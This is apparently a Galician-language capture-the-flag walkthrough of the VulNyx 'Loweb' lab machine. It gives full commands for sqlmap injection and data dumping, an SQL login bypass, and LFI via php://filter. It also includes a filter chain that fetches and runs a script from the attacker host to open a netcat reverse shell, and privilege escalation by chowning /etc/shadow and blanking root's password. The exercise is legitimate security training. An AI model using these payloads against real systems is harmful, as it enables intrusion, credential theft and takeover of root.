Doc vulnyx loweb
Máquina virtual Loweb


A máquina Loweb é moi interesante porque...
- SQL Injection en parámetro username mediante sqlmap
- Extracción de bases de datos e hashes de usuarios
- SQL Injection manual con bypass: 1' or 1=1 --
- Local File Inclusion (LFI) con PHP filter wrapper
- Reverse shell mediante wrapper phpfilter
- Credenciais en script de monitorización (/opt/monitor.sh)
- Abuso de chown con sudo para modificar permisos de /etc/shadow
- Eliminación de contrasinal de root en /etc/shadow para escalada
Diagrama de ataque

Fase 1 — Recopilación
sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Loweb -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Loweb # 22,80
whatweb IP_VulNyx_Loweb
curl -I IP_VulNyx_Loweb
Fase 2 — Análise
# Enumeración de directorios web
dirb http://IP_VulNyx_Loweb
# Directorios e ficheiros descubertos:
# - /index.html
# - /library/ (CODE:200)
# - /server-status (CODE:403)
# - /library/admin/ (CODE:200)
# - /library/index.html
# - /library/login/ (CODE:200)
# - /library/admin/index.php (CODE:302)
# - /library/login/index.php (CODE:200)
# Análise da aplicación web
firefox http://IP_VulNyx_Loweb/library/login/ &
# Identificación de formulario de login
# URL: http://IP_VulNyx_Loweb/library/login/
# Proba de SQL Injection con sqlmap
sqlmap -u "http://IP_VulNyx_Loweb/library/login/" \
--data="username=admin&password=calquera" \
-p username \
--risk=3 --level=5 \
--batch --threads=10 --random-agent
# Resultado: POST parameter 'username' is vulnerable
#Type: boolean-based blind
#Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
#Payload: username=admin%' AND 2839=(SELECT (CASE WHEN (2839=2839) THEN 2839 ELSE (SELECT 4216 UNION SELECT 4911) END))-- iFKF&password=calquera
#Type: time-based blind
#Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
#Payload: username=admin%' AND (SELECT 6498 FROM (SELECT(SLEEP(5)))tVLP) AND 'jThd%'='jThd&password=calquera
# Enumeración de bases de datos
sqlmap -u "http://IP_VulNyx_Loweb/library/login/" \
--data="username=admin&password=calquera" \
-p username \
--batch --level=5 --risk=3 \
--dbs
# Base de datos descuberta: library
# Enumeración de táboas
sqlmap -u "http://IP_VulNyx_Loweb/library/login/" \
--data="username=admin&password=calquera" \
-p username \
--batch --level=5 --risk=3 \
-D library --tables
# Táboa descuberta: users
# Extracción de datos da táboa users
sqlmap -u "http://IP_VulNyx_Loweb/library/login/" \
--data="username=admin&password=calquera" \
-p username \
--batch --level=5 --risk=3 \
-D library -T users --dump
# Hashes descubertos (formato bcrypt)
# Identificación do formato de hash
hashcat --example-hashes | grep -i -n bcrypt -A2
john --list=formats | grep -i bcrypt
# Intento de cracking con john
cat > hash.txt << EOF
admin:[hash_bcrypt]
EOF
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# Non se consegue crackear o hash, entón, probamos SQL Injection na Fase 3
Fase 3 — Explotación
# SQL Injection manual con bypass
# Payload: Introducir no campo Username: 1' or 1=1 -- - e clic en Login
# Acceso ao sistema conseguido -> o primeiro que observamos son 2 entradas: 1 do usuario admin e outra do usuario [usuario]
# Identificación de vulnerabilidade LFI
Ver código fonte '<Ctrl>+<U>' -> index.php?lang=es.php
http://IP_VulNyx_Loweb/library/admin/index.php?lang=es.php
# Proba de lectura de ficheiros mediante LFI
# Uso de PHP filter wrapper para RCE
# Empregamos un wrapper
# wrapper file://
http://IP_VulNyx_Loweb/library/admin/index.php?lang=file:///etc/passwd
# Ver código fonte: <Ctrl>+<U> -> Na última liña aparece o contido do ficheiro /etc/passwd
# Vemos que existe un usuario con shell bash: [usuario]
# Empregamos un wrapper
# wrapper php://filter
http://IP_VulNyx_Loweb/library/admin/index.php?lang=php://filter/convert.base64-encode/resource=/etc/passwd
# Ver código fonte: <Ctrl>+<U> -> Na última liña aparece o código base64 dun ficheiro /etc/passwd -> copiar ese liña e executar o seguinte comando:
echo 'última_liña_copiada' | base64 -d | tee passwd.txt
# Conseguimos ver o ficheiro /etc/passwd do sistema "atacado"
# Vemos que existe un usuario con shell bash: [usuario]
#Buscamos un wrapper que nons poida conseguir unha reverse shell -> https://github.com/synacktiv/php_filter_chain_generator.git
git clone https://github.com/synacktiv/php_filter_chain_generator.git
cd php_filter_chain_generator
python3 php_filter_chain_generator.py --help
python3 php_filter_chain_generator.py --chain '<?php system("id"); ?>'
#Executamos na URL:
http://IP_VulNyx_Loweb/library/admin/index.php?lang=php://filter/convert.iconv.UTF8.CSISO2022K|...|convert.base64-decode/resource=php://temp
# Preparamos listener no atacante
nc -nlvp 443
# Xeramos o wrapper RCE:
python3 php_filter_chain_generator.py --chain '<?=`wget -O- IP_atacante/r|sh` ?>'
# Xeramos o script que será descargado polo wrapper
echo 'busybox nc -e sh IP_atacante 443' > r
# Montamos un servidor web simple no porto 80 para exportar o script de nome r:
# Na mesma ruta onde existe o script de nome r
python3 -m http.server 80
# Execución de reverse shell mediante wrapper
#http://IP_VulNyx_Loweb/library/admin/index.php?lang=wrapper
http://IP_VulNyx_Loweb/library/admin/index.php?lang=php://filter/convert.iconv.UTF8.CSISO2022K|...|convert.base64-decode/resource=php://temp
# ⇒ Conseguimos reverse shell como www-data
Fase 4 — Post‑explotación
# Mellora da TTY
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash
# Enumeración do sistema
ls -la /opt
# Descubrimos: /opt/monitor.sh
# Análise do script
cat /opt/monitor.sh
# Contén credenciais de usuario do sistema
# Acceso SSH con credenciais atopadas
ssh [usuario]@IP_VulNyx_Loweb
# ⇒ Conseguimos consola de usuario (flag user.txt)
# Enumeración de permisos sudo
sudo -l
# User [usuario] may run the following commands on loweb:
# (root) NOPASSWD: /usr/bin/chown
# Consulta en GTFOBins(https://gtfobins.github.io/) para chown
# chown permite cambiar propietario de ficheiros
# Abuso de chown para modificar permisos de /etc/shadow
sudo chown [usuario] /etc/shadow
# Verificación de permisos
ls -l /etc/shadow
# -rw-r----- 1 [usuario] shadow ... /etc/shadow
# Modificación de /etc/shadow
nano /etc/shadow
# Eliminamos o campo do contrasinal de root:
# Antes: root:[hash]:...
# Despois: root::...
# Cambio a usuario root sen contrasinal
su -
# Non solicita contrasinal
# ⇒ Conseguimos consola de root
# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida
Correspondencia de fases → MITRE ATT&CK — VulNyx: Loweb
| Fase | Acción / Resumo | Vector principal | MITRE ATT&CK (IDs) | CWE(s) (relevantes) |
|---|---|---|---|---|
| 1. Recopilación | Descubrimento de host e servizos expostos | Scanning / descubrimento de servizos | T1595 — Active Scanning T1046 — Network Service Discovery |
CWE-200 — Information Exposure (reconnaissance) |
| 2. Análise | Detección de SQL Injection mediante sqlmap | Automated SQL injection testing | T1190 — Exploit Public-Facing Application T1595.002 — Active Scanning: Vulnerability Scanning |
CWE-89 — SQL Injection |
| Enumeración de bases de datos e extracción de hashes | Database enumeration | T1213 — Data from Information Repositories T1003.008 — OS Credential Dumping: /etc/passwd and /etc/shadow |
CWE-89 — SQL Injection | |
| 3. Explotación | SQL Injection manual con bypass (1' or 1=1 --) | Authentication bypass | T1190 — Exploit Public-Facing Application T1078 — Valid Accounts |
CWE-89 — SQL Injection; CWE-287 — Improper Authentication |
| Explotación de LFI mediante PHP filter wrapper | Local File Inclusion / RCE | T1190 — Exploit Public-Facing Application T1059.004 — Command and Scripting Interpreter: Unix Shell |
CWE-98 — Improper Control of Filename for Include/Require Statement; CWE-94 — Improper Control of Generation of Code | |
| 4. Post-explotación | Extracción de credenciais de script de monitorización | Credential Access | T1552.001 — Unsecured Credentials: Credentials In Files T1083 — File and Directory Discovery |
CWE-312 — Cleartext Storage of Sensitive Information |
| Acceso SSH con credenciais válidas | Uso de contas válidas | T1021.004 — Remote Services: SSH T1078 — Valid Accounts |
CWE-798 — Use of Hard-coded Credentials (contextual) | |
| Abuso de chown con sudo para modificar /etc/shadow | File permission manipulation | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching T1222.002 — File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification |
CWE-269 — Improper Privilege Management | |
| Modificación de /etc/shadow e eliminación de contrasinal | Password file manipulation | T1098 — Account Manipulation T1548 — Abuse Elevation Control Mechanism |
CWE-284 — Improper Access Control; CWE-732 — Incorrect Permission Assignment |